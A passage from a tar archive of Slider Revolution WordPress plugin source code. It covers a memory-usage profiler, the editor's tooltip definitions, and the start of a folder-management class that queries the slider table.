            get('RevSliderCssParser'); echo ''."\n"; } do_action('revslider_export_html_write_footer', $this); ?> export_real){ ?> real_usage = $real_usage; } // Returns current memory usage with or without styling public function getCurrentMemoryUsage($with_style = true) { $mem = memory_get_usage($this->real_usage); return ($with_style) ? $this->byteFormat($mem) : $mem; } // Returns peak of memory usage public function getPeakMemoryUsage($with_style = true) { $mem = memory_get_peak_usage($this->real_usage); return ($with_style) ? $this->byteFormat($mem) : $mem; } // Set memory usage with info public function setMemoryUsage($info = '') { $this->statistics[] = array( 'time' => microtime(), //time(), 'info' => $info, 'memory_usage' => $this->getCurrentMemoryUsage()); } // Print all memory usage info and memory limit and public function printMemoryUsageInformation() { //return true; echo '
            ';
                    foreach ($this->statistics as $satistic)
                    {
                        echo "Time: " . $satistic['time'] .
                        " | Memory Usage: " . $satistic['memory_usage'] .
                        " | Info: " . $satistic['info'];
                        echo "\n";
                    }
                    echo "\n\n";
                    echo "Peak of memory usage: " . $this->getPeakMemoryUsage();
                    echo "\n\n";
            		echo '
            '; } // Set start with default info or some custom info public function setStart($info = 'Initial Memory Usage') { $this->setMemoryUsage($info); } // Set end with default info or some custom info public function setEnd($info = 'Memory Usage at the End') { $this->setMemoryUsage($info); } // Byte formatting private function byteFormat($bytes, $unit = "", $decimals = 2) { $units = array('B' => 0, 'KB' => 1, 'MB' => 2, 'GB' => 3, 'TB' => 4, 'PB' => 5, 'EB' => 6, 'ZB' => 7, 'YB' => 8); $value = 0; if ($bytes > 0) { // Generate automatic prefix by bytes // If wrong prefix given if (!array_key_exists($unit, $units)) { $pow = floor(log($bytes) / log(1024)); $unit = array_search($pow, $units); } // Calculate byte value by prefix $value = ($bytes / pow(1024, floor($units[$unit]))); } // If decimals is not numeric or decimals is less than 0 // then set default value if (!is_numeric($decimals) || $decimals < 0) { $decimals = 2; } // Format output return sprintf('%.' . $decimals . 'f ' . $unit, $value); } }admin/includes/tooltips.class.php000060400000077410151724235750013154 0ustar00 * @link https://www.themepunch.com/ * @copyright 2022 ThemePunch */ if(!defined('ABSPATH')) exit(); class RevSliderTooltips { public static function getTooltips() { $translations = array( 'docs' => __('Docs', 'revslider'), 'next_tip' => __('Next Tip'), 'got_it' => __('Got It'), 'hide_tips' => __("Don't show tooltips again") ); $tooltips = array( 'help_mode' => array( 'title' => 'Help Mode', 'target' => '.help_wrap', 'alignment' => 'bottom', 'margin' => '20px 0 0 0', 'text' => 'Get information about the different options available for your Slider', 'linkText' => 'Learn More', 'link' => 'https://www.sliderrevolution.com/help-center/?utm_source=admin&utm_medium=button&utm_campaign=srusers&utm_content=faq' ), 'slides' => array( 'title' => 'Add Slide', 'target' => '#add_slide_toolbar_wrap', 'alignment' => 'bottom', 'margin' => '20px 0 0 0', 'text' => "Add new Slides, reorder your current Slides and manage the Module's global content", 'linkText' => 'Learn More', 'link' => 'https://www.sliderrevolution.com/documentation/slide-management/' ), 'add_layer' => array( 'title' => 'Add Layer', 'target' => '#add_layer_toolbar_wrap', 'alignment' => 'bottom', 'margin' => '20px 0 0 0', 'text' => 'Add new content to the currently active Slide' ), 'tooltip_button' => array( 'title' => 'Tooltip Button', 'target' => '.tooltip_wrap', 'alignment' => 'bottom', 'margin' => '20px 0 0 0', 'text' => 'Enable the tooltip wizard for a quick overview of the editor' ), 'undo_redo' => array( 'title' => 'Undo Redo', 'target' => '.undo_redo_wrap', 'alignment' => 'bottom', 'margin' => '20px 0 0 0', 'text' => "Undo or redo changes you've made while using the editor" ), 'quick_style' => array( 'title' => 'Quick Style Layer', 'target' => '#quick_style_trigger', 'alignment' => 'bottom', 'margin' => '20px 0 0 0', 'text' => 'Add pre-styled headlines, paragraph text and buttons to the current Slide' ), 'device_switcher' => array( 'title' => 'Device View Switcher', 'target' => '#main_screenselector', 'alignment' => 'bottom', 'margin' => '20px 0 0 0', 'trigger' => '#main_screenselector:visible', 'text' => "Adjust your content's size and position for different screen sizes" ), 'layer_selections' => array( 'title' => 'Layer Selections', 'target' => '#toolkit_selector_wrap', 'alignment' => 'bottom', 'margin' => '20px 0 0 0', 'text' => 'Choose the way you would like to select multiple Layers on the stage' ), 'slider_settings' => array( 'title' => 'Slider Settings', 'target' => '#module_settings_trigger', 'alignment' => 'bottom', 'margin' => '20px 0 0 0', 'elementcss' => 'width: 80px', 'focus' => 'none', 'trigger' => array('#module_settings_trigger'), 'text' => "Adjust the module's Layout and set its Slideshow behavior" ), 'slider_navigation' => array( 'title' => 'Slider Navigation', 'target' => '#module_navigation_trigger', 'alignment' => 'bottom', 'margin' => '20px 0 0 0', 'elementcss' => 'width: 80px', 'focus' => 'none', 'trigger' => array('#module_navigation_trigger'), 'text' => 'Add a variety of navigation elements to your Slider' ), 'slide_settings' => array( 'title' => 'Slide Settings', 'target' => '#module_slide_trigger', 'alignment' => 'bottom-left', 'margin' => '20px 0 0 78px', 'elementcss' => 'width: 80px', 'focus' => 'none', 'trigger' => array('#module_slide_trigger'), 'text' => "Set the Slide's main background and slide-change animation" ), 'layer_settings' => array( 'title' => 'Layer Settings', 'target' => '#module_layers_trigger', 'alignment' => 'bottom-left', 'margin' => '20px 0 0 78px', 'elementcss' => 'width: 80px', 'focus' => 'none', 'trigger' => array('#module_layers_trigger'), 'text' => "Adjust the size and position for your Slide's content" ), 'shortcode' => array( 'title' => 'Title/Shortcode', 'target' => '#sr_shortcode', 'placer' => '#rs_shortcode_label', 'alignment' => 'left', 'margin' => '-4px 0 0 -17px', 'trigger' => array('#module_settings_trigger', '#gst_sl_1'), 'section' => 'Module General Options -> Title', 'text' => 'The shortcode for the module is located here.' ), 'back' => array( 'title' => 'Back to Plugin Admin Page', 'target' => '#back_to_overview', 'alignment' => 'bottom-right', 'margin' => '20px 0 0 -90px', 'text' => "Click here to go back to the plugin's main admin page" ), 'add_slide' => array( 'title' => 'Add Slide', 'target' => '#add_slide_toolbar_wrap', 'focus' => '.toolbar_dd_subdrop_wrap', 'alignment' => 'top-right', 'margin' => '-5px 0 0 20px', 'cssClass' => 'tip-hover', 'text' => 'Add a new Slide to the Slider', 'linkText' => 'Learn More', 'link' => 'https://www.sliderrevolution.com/documentation/slide-management/' ), 'global_layers' => array( 'title' => 'Global Layers', 'target' => '#add_slide_toolbar_wrap', 'focus' => '.static-slide-btn', 'alignment' => 'top-right', 'margin' => '-5px 0 0 20px', 'cssClass' => 'tip-hover tip-hover-staticlayers', 'text' => 'Content that should always be visible throughout the life-cycle of your Slider exists here', 'linkText' => 'Learn More', 'link' => 'https://www.sliderrevolution.com/documentation/global-layers/' ), 'slide_order' => array( 'title' => 'Change Slide Order', 'target' => '#add_slide_toolbar_wrap', 'focus' => '.slide_list_element.selected', 'alignment' => 'top-right', 'margin' => '-5px 0 0 20px', 'cssClass' => 'tip-hover tip-hover-slideorder', 'text' => 'Drag these menu items on top of one another to change the order of your Slides', 'linkText' => 'Learn More', 'link' => 'https://www.sliderrevolution.com/documentation/slide-management/#switch-reorder-slides' ), 'add_layer_text' => array( 'title' => 'Add Text Layer', 'target' => '#add_layer_toolbar_wrap', 'focus' => '#toolbar_add_layer_text', 'alignment' => 'top-right', 'margin' => '-5px 0 0 20px', 'cssClass' => 'tip-hover tip-hover-text', 'text' => 'Add a text element to the current Slide', 'linkText' => 'Learn More', 'link' => 'https://www.sliderrevolution.com/documentation/layer-content/' ), 'add_layer_image' => array( 'title' => 'Add Image Layer', 'target' => '#add_layer_toolbar_wrap', 'focus' => '#toolbar_add_layer_image', 'alignment' => 'top-right', 'margin' => '-5px 0 0 20px', 'cssClass' => 'tip-hover tip-hover-image', 'text' => 'Add an image to the current Slide', 'linkText' => 'Learn More', 'link' => 'https://www.sliderrevolution.com/documentation/layer-content/' ), 'add_layer_button' => array( 'title' => 'Add Button Layer', 'target' => '#add_layer_toolbar_wrap', 'focus' => '#toolbar_add_layer_button', 'alignment' => 'top-right', 'margin' => '-5px 0 0 20px', 'cssClass' => 'tip-hover tip-hover-button', 'text' => 'Add a pre-styled button to the current Slide', 'linkText' => 'Learn More', 'link' => 'https://www.sliderrevolution.com/documentation/layer-content/' ), 'add_layer_shape' => array( 'title' => 'Add Shape Layer', 'target' => '#add_layer_toolbar_wrap', 'focus' => '#toolbar_add_layer_shape', 'alignment' => 'top-right', 'margin' => '-5px 0 0 20px', 'cssClass' => 'tip-hover tip-hover-shape', 'text' => 'Shapes are elements with a background colors but not content', 'linkText' => 'Learn More', 'link' => 'https://www.sliderrevolution.com/documentation/layer-content/' ), 'add_layer_video' => array( 'title' => 'Add Video Layer', 'target' => '#add_layer_toolbar_wrap', 'focus' => '#toolbar_add_layer_video', 'alignment' => 'top-right', 'margin' => '-5px 0 0 20px', 'cssClass' => 'tip-hover tip-hover-video', 'text' => 'Add a YouTube, Vimeo or HTML5 video to the current Slide', 'linkText' => 'Learn More', 'link' => 'https://www.sliderrevolution.com/documentation/layer-content/' ), 'add_layer_audio' => array( 'title' => 'Add Audio Layer', 'target' => '#add_layer_toolbar_wrap', 'focus' => '#toolbar_add_layer_audio', 'alignment' => 'top-right', 'margin' => '-5px 0 0 20px', 'cssClass' => 'tip-hover tip-hover-audio', 'text' => 'Add sound to the current Slide', 'linkText' => 'Learn More', 'link' => 'https://www.sliderrevolution.com/documentation/layer-content/' ), 'add_layer_object' => array( 'title' => 'Add Object Layer', 'target' => '#add_layer_toolbar_wrap', 'focus' => '#toolbar_add_layer_object', 'alignment' => 'top-right', 'margin' => '-5px 0 0 20px', 'cssClass' => 'tip-hover tip-hover-object', 'text' => 'Add a simple icon or SVG element to the current Slide', 'linkText' => 'Learn More', 'link' => 'https://www.sliderrevolution.com/documentation/layer-content/' ), 'add_layer_row' => array( 'title' => 'Add Row', 'target' => '#add_layer_toolbar_wrap', 'focus' => '#toolbar_add_layer_row', 'alignment' => 'top-right', 'margin' => '-5px 0 0 20px', 'cssClass' => 'tip-hover tip-hover-row', 'text' => 'Add a new Row to the current Slide to allow for Rows/Column-based content', 'linkText' => 'Learn More', 'link' => 'https://www.sliderrevolution.com/documentation/rows-columns/' ), 'add_layer_group' => array( 'title' => 'Add Group', 'target' => '#add_layer_toolbar_wrap', 'focus' => '#toolbar_add_layer_group', 'alignment' => 'top-right', 'margin' => '-5px 0 0 20px', 'cssClass' => 'tip-hover tip-hover-group', 'text' => 'Add a special container to the Slide that can then include multiple Layers grouped together', 'linkText' => 'Learn More', 'link' => 'https://www.sliderrevolution.com/documentation/layer-groups/' ), 'add_layer_layerlibrary' => array( 'title' => 'Layer Library', 'target' => '#add_layer_toolbar_wrap', 'focus' => '#add_from_layerlibrary', 'alignment' => 'top-right', 'margin' => '-5px 0 0 20px', 'cssClass' => 'tip-hover tip-hover-layerlibrary', 'text' => 'Add a text-based template that includes a predefined style and animation', 'linkText' => 'Learn More', 'link' => 'https://www.sliderrevolution.com/documentation/layer-content/' ), 'add_layer_importlayer' => array( 'title' => 'Import Layer', 'target' => '#add_layer_toolbar_wrap', 'focus' => '#import_layers', 'alignment' => 'top-right', 'margin' => '-5px 0 0 20px', 'cssClass' => 'tip-hover tip-hover-importlayer', 'text' => 'Import a Layer from another Slider or Slide', 'linkText' => 'Learn More', 'link' => 'https://www.sliderrevolution.com/documentation/layer-content/' ), 'delete_layer' => array( 'title' => 'Delete Layer', 'target' => '#do_delete_layer', 'alignment' => 'bottom', 'margin' => '20px 0 0 0', 'trigger' => array('#module_layers_trigger'), 'text' => 'Delete the currently selected Layer', 'linkText' => 'Learn More', 'link' => 'https://www.sliderrevolution.com/documentation/editor-overview/' ), 'duplicate_layer' => array( 'title' => 'Duplicate Layer', 'target' => '#duplicate_btn_icon', 'focus' => '#do_duplicate_layer', 'alignment' => 'top-left', 'margin' => '-5px 0 0 -20px', 'trigger' => array('#module_layers_trigger'), 'cssClass' => 'tip-hover tip-hover-duplicate', 'text' => 'Duplicate the currently selected Layer', 'linkText' => 'Learn More', 'link' => 'https://www.sliderrevolution.com/documentation/editor-overview/' ), 'copy_layer' => array( 'title' => 'Copy Layer', 'target' => '#duplicate_btn_icon', 'focus' => '#do_copy_layer', 'alignment' => 'top-left', 'margin' => '-5px 0 0 -20px', 'trigger' => array('#module_layers_trigger'), 'cssClass' => 'tip-hover tip-hover-copy', 'text' => 'Copy the current Layer and paste it into another Slide', 'linkText' => 'Learn More', 'link' => 'https://www.sliderrevolution.com/documentation/editor-overview/' ), 'paste_layer' => array( 'title' => 'Paste Layer', 'target' => '#duplicate_btn_icon', 'focus' => '#do_paste_layer', 'alignment' => 'top-left', 'margin' => '-5px 0 0 -20px', 'trigger' => array('#module_layers_trigger'), 'cssClass' => 'tip-hover tip-hover-paste', 'text' => 'Paste a copied Layer into the current Slide', 'linkText' => 'Learn More', 'link' => 'https://www.sliderrevolution.com/documentation/editor-overview/' ), 'lock_layers' => array( 'title' => 'Lock Layers', 'target' => '#do_lock_layer', 'focus' => '#toggle_lock_layer', 'alignment' => 'top-left', 'margin' => '-5px 0 0 -20px', 'trigger' => array('#module_layers_trigger'), 'cssClass' => 'tip-hover tip-hover-lock', 'text' => 'Lock the currently selected Layer(s) from being edited', 'linkText' => 'Learn More', 'link' => 'https://www.sliderrevolution.com/documentation/editor-overview/' ), 'unlock_layers' => array( 'title' => 'Unlock Layers', 'target' => '#do_lock_layer', 'focus' => '#unlock_all_layer', 'alignment' => 'top-left', 'margin' => '-5px 0 0 -20px', 'trigger' => array('#module_layers_trigger'), 'cssClass' => 'tip-hover tip-hover-unlock', 'text' => 'Unlock the currently selected Layers so they can be edited', 'linkText' => 'Learn More', 'link' => 'https://www.sliderrevolution.com/documentation/editor-overview/' ), 'hide_highlight_boxes' => array( 'title' => 'Hide Highlight Boxes', 'target' => '#do_show_layer', 'focus' => '#hide_highlight_boxes', 'alignment' => 'top-left', 'margin' => '-5px 0 0 -20px', 'trigger' => array('#module_layers_trigger'), 'cssClass' => 'tip-hover tip-hover-highlightboxes', 'text' => "Hide the editor's outline guide markers", 'linkText' => 'Learn More', 'link' => 'https://www.sliderrevolution.com/documentation/editor-overview/' ), 'show_hide_selected' => array( 'title' => 'Show/Hide Selected', 'target' => '#do_show_layer', 'focus' => '#toggle_visible_layer', 'alignment' => 'top-left', 'margin' => '-5px 0 0 -20px', 'trigger' => array('#module_layers_trigger'), 'cssClass' => 'tip-hover tip-hover-showhide', 'text' => "Show the editor's outline guide markers for the selected Layers", 'linkText' => 'Learn More', 'link' => 'https://www.sliderrevolution.com/documentation/editor-overview/' ), 'set_all_visible' => array( 'title' => 'Set All Visible', 'target' => '#do_show_layer', 'focus' => '#visible_all_layer', 'alignment' => 'top-left', 'margin' => '-5px 0 0 -20px', 'trigger' => array('#module_layers_trigger'), 'cssClass' => 'tip-hover tip-hover-setallvisible', 'text' => "Show all outline guide markers for the editor", 'linkText' => 'Learn More', 'link' => 'https://www.sliderrevolution.com/documentation/editor-overview/' ), 'change_layer_order' => array( 'title' => 'Change Layer Order', 'target' => '#do_background_layer', 'alignment' => 'bottom', 'margin' => '20px 0 0 0', 'trigger' => array('#module_layers_trigger'), 'text' => 'Use these arrows to adjust the z-index/stacking order of the currently selected Layer', 'linkText' => 'Learn More', 'link' => 'https://www.sliderrevolution.com/documentation/editor-overview/' ), 'layout_type' => array( 'title' => 'Layout Type', 'target' => '#rs-layout-type', 'placer' => '#rs-layout-type label_a', 'focus' => 'none', 'alignment' => 'top-left', 'margin' => '-4px 0 0 -20px', 'trigger' => array('#module_settings_trigger', '#gst_sl_2'), 'section' => 'Module General Options -> Layout', 'scrollTo' => '#form_slider_layout_layout', 'text' => "Optionally set your Slider to display as a carousel or a Hero Scene", 'linkText' => 'Learn More', 'link' => 'https://www.sliderrevolution.com/documentation/module-layout/' ), 'layout_sizing' => array( 'title' => 'Layout Sizing', 'target' => '#rs-layout-sizing', 'placer' => '#rs-layout-sizing label_a', 'focus' => 'none', 'alignment' => 'top-left', 'margin' => '-4px 0 0 -20px', 'trigger' => array('#module_settings_trigger', '#gst_sl_2'), 'section' => 'Module General Options -> Layout', 'scrollTo' => '#form_slider_layout_layout', 'text' => 'Choose how the Slider should be displayed on your web page', 'linkText' => 'Learn More', 'link' => 'https://www.sliderrevolution.com/documentation/module-layout/' ), 'breakpoints' => array( 'title' => 'Enable Breakpoints', 'target' => '#rs-laptop-breakpoint', 'placer' => '#rs-laptop-breakpoint', 'focus' => '.tponoffwrap', 'alignment' => 'top-left', 'margin' => '-5px 0 0 -20px', 'trigger' => array('#module_settings_trigger', '#gst_sl_2'), 'section' => 'Module General Options -> Layout', 'scrollTo' => '#form_slider_layout_bpoints', 'text' => "Enable device breakpoints and edit your content's size and position for each viewport", 'linkText' => 'Learn More', 'link' => 'https://www.sliderrevolution.com/documentation/module-layout/' ), 'module_content' => array( 'title' => 'Module Content Source', 'target' => '#rs-module-source-wrap', 'focus' => 'none', 'alignment' => 'top-left', 'margin' => '-4px 0 0 -20px', 'trigger' => array('#module_settings_trigger', '#gst_sl_4'), 'section' => 'Module General Options -> Content', 'text' => 'Choose if your Slider should be auto-populated with content from your blog or a social channel', 'linkText' => 'Learn More', 'link' => 'https://www.sliderrevolution.com/documentation/module-content/' ), 'auto_rotate' => array( 'title' => 'Module Content Source', 'target' => '#rs-autorotate-wrap', 'placer' => '#rs-autorotate-wrap', 'focus' => '.tponoffwrap', 'alignment' => 'top-left', 'margin' => '-4px 0 0 -20px', 'trigger' => array('#module_settings_trigger', '#gst_sl_6'), 'section' => 'Module General Options -> General', 'scrollTo' => '#form_slidergeneral_general', 'text' => 'Enable/disable autoplay for the Slider', 'linkText' => 'Learn More', 'link' => 'https://www.sliderrevolution.com/documentation/module-general-settings/' ), 'lazy_loading' => array( 'title' => 'Lazy Loading', 'target' => '#form_slidergeneral_advanced_loading .collapsable', 'placer' => '#form_slidergeneral_advanced_loading label_a', 'focus' => '.ddTP_S', 'alignment' => 'top-left', 'margin' => '-4px 0 0 -15px', 'trigger' => array('#module_settings_trigger', '#gst_sl_10'), 'section' => 'Module General Options -> Advanced', 'scrollTo' => '#form_module_advanced', 'text' => "Enable LazyLoading for your Slider's images for faster page loading", 'linkText' => 'Learn More', 'link' => 'https://www.sliderrevolution.com/documentation/advanced-module-settings/' ), 'progress_bar' => array( 'title' => 'Progress Bar', 'target' => '#form_nav_pbara', 'placer' => '#form_nav_pbara .form_inner_header', 'focus' => '.tponoffwrap', 'alignment' => 'left', 'margin' => '-4px 0 0 -15px', 'cssClass' => 'form_collector nav_collector', 'trigger' => array('#module_navigation_trigger', '#gst_nav_1'), 'section' => 'Navigation Options -> Progress', 'text' => "Display the Slider's progress with an animated horizontal bar", 'linkText' => 'Learn More', 'link' => 'https://www.sliderrevolution.com/documentation/progress-bar/' ), 'navigation_arrows' => array( 'title' => 'Navigation Arrows', 'target' => '#form_nav_arrows', 'placer' => '#form_nav_arrows .form_inner_header', 'focus' => '.tponoffwrap', 'alignment' => 'left', 'margin' => '-4px 0 0 -15px', 'cssClass' => 'form_collector nav_collector form_menu_inside', 'trigger' => array('#module_navigation_trigger', '#gst_nav_2'), 'section' => 'Navigation Options -> Arrows', 'text' => "Switch between Slides with navigation Arrows", 'linkText' => 'Learn More', 'link' => 'https://www.sliderrevolution.com/documentation/navigation-arrows/' ), 'navigation_bullets' => array( 'title' => 'Navigation Bullets', 'target' => '#form_nav_bullets', 'placer' => '#form_nav_bullets .form_inner_header', 'focus' => '.tponoffwrap', 'alignment' => 'left', 'margin' => '-4px 0 0 -15px', 'cssClass' => 'form_collector nav_collector', 'trigger' => array('#module_navigation_trigger', '#gst_nav_3'), 'section' => 'Navigation Options -> Bullets', 'text' => 'Switch between Slides with navigation Bullets', 'linkText' => 'Learn More', 'link' => 'https://www.sliderrevolution.com/documentation/navigation-bullets/' ), 'navigation_tabs' => array( 'title' => 'Navigation Tabs', 'target' => '#form_nav_tabs', 'placer' => '#form_nav_tabs .form_inner_header', 'focus' => '.tponoffwrap', 'alignment' => 'left', 'margin' => '-4px 0 0 -15px', 'cssClass' => 'form_collector nav_collector', 'trigger' => array('#module_navigation_trigger', '#gst_nav_4'), 'section' => 'Navigation Options -> Tabs', 'text' => 'Switch between Slides with navigation Tabs', 'linkText' => 'Learn More', 'link' => 'https://www.sliderrevolution.com/documentation/navigation-tabs/' ), 'navigation_thumbs' => array( 'title' => 'Navigation Thumbs', 'target' => '#form_nav_thumbs', 'placer' => '#form_nav_thumbs .form_inner_header', 'focus' => '.tponoffwrap', 'alignment' => 'left', 'margin' => '-4px 0 0 -15px', 'cssClass' => 'form_collector nav_collector', 'trigger' => array('#module_navigation_trigger', '#gst_nav_5'), 'section' => 'Navigation Options -> Thumbs', 'text' => 'Switch between Slides with navigation Thumbnails', 'linkText' => 'Learn More', 'link' => 'https://www.sliderrevolution.com/documentation/navigation-thumbnails/' ), 'slide_background' => array( 'title' => 'Slide Background', 'target' => '#form_slidebg', 'placer' => '#form_slidebg label_a', 'focus' => '.ddTP_S', 'alignment' => 'left', 'margin' => '0 0 0 -20px', 'cssClass' => 'form_collector slide_settings_collector', 'trigger' => array('#module_slide_trigger', '#gst_slide_1'), 'section' => 'Slide Options -> Background', 'text' => "Set/change the current Slide's main background to an image, video or color", 'linkText' => 'Learn More', 'link' => 'https://www.sliderrevolution.com/documentation/slide-background/' ), 'slide_animation' => array( 'title' => 'Slide Animation', 'target' => '#form_slide_transition', 'placer' => '#active_transitions_innerwrap', 'focus' => '.rightbutton', 'alignment' => 'left', 'margin' => '-3px 0 0 -20px', 'cssClass' => 'form_collector slide_settings_collector', 'trigger' => array('#module_slide_trigger', '#gst_slide_2'), 'section' => 'Slide Options -> Title', 'text' => "Set the animation for the Slide's main background image when the Slides change", 'linkText' => 'Learn More', 'link' => 'https://www.sliderrevolution.com/documentation/slide-animation/' ), 'background_filter' => array( 'title' => 'Background Filter', 'target' => '#form_slidebg_filters', 'placer' => '#form_slidebg_filters label_a', 'focus' => '.ddTP_S', 'alignment' => 'left', 'margin' => '-4px 0 0 -20px', 'elementcss' => 'margin-top: -40px', 'cssClass' => 'form_collector slide_settings_collector', 'trigger' => array('#module_slide_trigger', '#gst_slide_5'), 'section' => 'Slide Options -> Title', 'text' => "Add a CSS image filter to the Slide's main background", 'linkText' => 'Learn More', 'link' => 'https://www.sliderrevolution.com/documentation/slide-filters/' ), 'slide_duration' => array( 'title' => 'Slide Duration', 'target' => '#form_slide_progress', 'placer' => '#form_slide_progress label_a', 'focus' => '#slide_length', 'alignment' => 'left', 'margin' => '-3px 0 0 -20px', 'elementcss' => 'margin-top: -40px', 'cssClass' => 'form_collector slide_settings_collector', 'trigger' => array('#module_slide_trigger', '#gst_slide_8'), 'section' => 'Slide Options -> Title', 'text' => 'Adjust the total duration for the current Slide', 'linkText' => 'Learn More', 'link' => 'https://www.sliderrevolution.com/documentation/slide-progress/' ), 'slide_link' => array( 'title' => 'Slide Link', 'target' => '#form_slidegeneral_linkseo', 'placer' => '#form_slidegeneral_linkseo label_a', 'focus' => '.tponoffwrap', 'alignment' => 'top-left', 'margin' => '-3px 0 0 -20px', 'cssClass' => 'form_collector slide_settings_collector', 'trigger' => array('#module_slide_trigger', '#gst_slide_4'), 'section' => 'Slide Options -> Title', 'scrollTo' => '#form_slidegeneral_linkseo', 'text' => 'Add a link to the entire Slide', 'linkText' => 'Learn More', 'link' => 'https://www.sliderrevolution.com/documentation/tags-link/' ), 'edit_text' => array( 'title' => 'Edit Text', 'target' => '#form_layercontent_content_text', 'focus' => '#ta_layertext', 'alignment' => 'left', 'margin' => '-3px 0 0 -20px', 'cssClass' => 'form_collector layer_settings_collector', 'trigger' => array('._lc_type_text, ._lc_type_button', '#module_layers_trigger', '#gst_layer_1'), 'section' => 'Layer Options -> Title', 'text' => 'Edit the content of your text Layers here', 'linkText' => 'Learn More', 'link' => 'https://www.sliderrevolution.com/documentation/layer-content/#edit-set-content' ), 'font_size' => array( 'title' => 'Font Size', 'target' => '#form_layerstyle_font', 'focus' => '#layer_font_size_idle', 'alignment' => 'top-left', 'margin' => '-3px 0 0 -115px', 'cssClass' => 'form_collector layer_settings_collector', 'trigger' => array('._lc_type_text, ._lc_type_button', '#module_layers_trigger', '#gst_layer_3'), 'section' => 'Layer Options -> Title', 'scrollTo' => '#form_layer_style', 'text' => 'Set the font-size for your text Layers here', 'linkText' => 'Learn More', 'link' => 'https://www.sliderrevolution.com/documentation/font-colors-styling/' ), 'font_family' => array( 'title' => 'Font Family', 'target' => '#form_layerstyle_font', 'focus' => '.ddTP_C--fontfamily .ddTP_S', 'alignment' => 'top-left', 'margin' => '-3px 0 0 -115px', 'cssClass' => 'form_collector layer_settings_collector', 'trigger' => array('._lc_type_text, ._lc_type_button', '#module_layers_trigger', '#gst_layer_3'), 'section' => 'Layer Options -> Title', 'scrollTo' => '#form_layer_style', 'text' => 'Set the font-family for your text Layers here', 'linkText' => 'Learn More', 'link' => 'https://www.sliderrevolution.com/documentation/font-colors-styling/' ), 'font_color' => array( 'title' => 'Font Color', 'target' => '#form_layerstyle_font', 'focus' => '.rev-colorpicker', 'alignment' => 'top-left', 'margin' => '-3px 0 0 -115px', 'cssClass' => 'form_collector layer_settings_collector', 'trigger' => array('._lc_type_text, ._lc_type_button', '#module_layers_trigger', '#gst_layer_3'), 'section' => 'Layer Options -> Title', 'scrollTo' => '#form_layer_style', 'text' => 'Set the text color for your Layers here', 'linkText' => 'Learn More', 'link' => 'https://www.sliderrevolution.com/documentation/font-colors-styling/' ), 'layer_position' => array( 'title' => 'Layer Position', 'target' => '#rs-align-buttons', 'alignment' => 'left', 'focus' => 'none', 'margin' => '-3px 0 0 -20px', 'cssClass' => 'form_collector layer_settings_collector', 'trigger' => array('._lc_type_text, ._lc_type_button, ._lc_type_video, ._lc_type_shape, ._lc_type_image, ._lc_type_audio, ._lc_type_object', '#module_layers_trigger', '#gst_layer_2'), 'section' => 'Layer Options -> Title', 'text' => "Adjust the Layer's position inside the current Slide", 'linkText' => 'Learn More', 'link' => 'https://www.sliderrevolution.com/documentation/size-position/' ), 'layer_animations' => array( 'title' => 'Layer Animations', 'target' => '#form_animation_sframes_keyframes', 'alignment' => 'left', 'focus' => 'none', 'placer' => '#form_animation_sframes_keyframes', 'margin' => '-26px 0 0 0', 'cssClass' => 'form_collector layer_settings_collector', 'trigger' => array('._lc_', '#module_layers_trigger', '#gst_layer_4'), 'section' => 'Layer Options -> Title', 'text' => 'Set the in/out animations for your Layer content here', 'linkText' => 'Learn More', 'link' => 'https://www.sliderrevolution.com/documentation/layer-animations/' ), 'layer_hover' => array( 'title' => 'Layer Hover', 'target' => '#form_layer_hover', 'alignment' => 'left', 'focus' => '.tponoffwrap', 'placer' => '#form_layer_hover label_a', 'margin' => '57px 0 0 0', 'cssClass' => 'form_collector layer_settings_collector', 'trigger' => array('._lc_', '#module_layers_trigger', '#gst_layer_9'), 'section' => 'Layer Options -> Title', 'text' => 'Apply hover styles to your Layers', 'linkText' => 'Learn More', 'link' => 'https://www.sliderrevolution.com/documentation/mouse-hover-settings/' ), 'edit_layer_name' => array( 'title' => 'Edit Layer Name', 'target' => '#do_title_layer', 'alignment' => 'bottom', 'margin' => '20px 0 0 0', 'trigger' => array('._lc_'), 'section' => 'Layer Options -> Title', 'text' => 'Change the name of your Layers here to help organize your content' ), 'responsive_behavior' => array( 'title' => 'Responsive Behavior', 'target' => '#form_layerposition_basic', 'alignment' => 'left', 'focus' => '.tponoffwrap', 'placer' => '#form_layerposition_basic label_a', 'margin' => '57px 0 0 0', 'cssClass' => 'form_collector layer_settings_collector', 'trigger' => array('._lc_', '#module_layers_trigger', '#gst_layer_13'), 'section' => 'Layer Options -> Title', 'text' => 'Adjust the responsive behavior of your content here', 'linkText' => 'Learn More', 'link' => 'https://www.sliderrevolution.com/documentation/responsive-settings/' ), 'timeline_preview' => array( 'title' => 'Timeline Preview', 'target' => '.tl_playstop_wrap', 'focus' => '#timline_process', 'alignment' => 'top', 'margin' => '15px 0 0 -3px', 'cssClass' => 'rb-tooltip-timeline', 'text' => "Preview the current Slide's animations", 'linkText' => 'Learn More', 'link' => 'https://www.sliderrevolution.com/documentation/slide-timeline/' ), 'save_module' => array( 'title' => 'Save Module', 'target' => '#save_slider', 'focus' => 'none', 'alignment' => 'right-top', 'margin' => '25px 0px 0px 55px', 'hidePrevSave' => true, 'text' => 'Click this button to save your changes' ), 'preview_module' => array( 'title' => 'Preview Module', 'target' => '#preview_slider', 'focus' => 'none', 'alignment' => 'right-top', 'margin' => '25px 0px 0px 70px', 'hidePrevSave' => true, 'text' => 'Click this button to preview the current Slide' ) ); return array('translations' => $translations, 'tooltips' => $tooltips); } }admin/includes/folder.class.php000060400000010253151724235750012542 0ustar00 * @link https://www.themepunch.com/ * @copyright 2022 ThemePunch * @since 6.0 */ if(!defined('ABSPATH')) exit(); class RevSliderFolder extends RevSliderSlider { public $folder = false; /** * Initialize A slider as a Folder **/ public function init_folder_by_id($id){ global $wpdb; $folder = $wpdb->get_row($wpdb->prepare("SELECT * FROM ". $wpdb->prefix . RevSliderFront::TABLE_SLIDER ." WHERE `id` = %s AND `type` = 'folder'", $id), ARRAY_A); if(!empty($folder)){ $this->id = $this->get_val($folder, 'id'); $this->title = $this->get_val($folder, 'title'); $this->alias = $this->get_val($folder, 'alias'); $this->settings = (array)json_decode($this->get_val($folder, 'settings', '')); $this->params = (array)json_decode($this->get_val($folder, 'params', '')); $this->folder = true; return true; }else{ return false; } } /** * Get all Folders from the Slider Table **/ public function get_folders(){ global $wpdb; $folders = array(); $entries = $wpdb->get_results("SELECT `id` FROM ". $wpdb->prefix . RevSliderFront::TABLE_SLIDER ." WHERE `type` = 'folder'", ARRAY_A); if(!empty($entries)){ foreach($entries as $folder){ $slider = new RevSliderFolder(); $folder_id = $this->get_val($folder, 'id'); 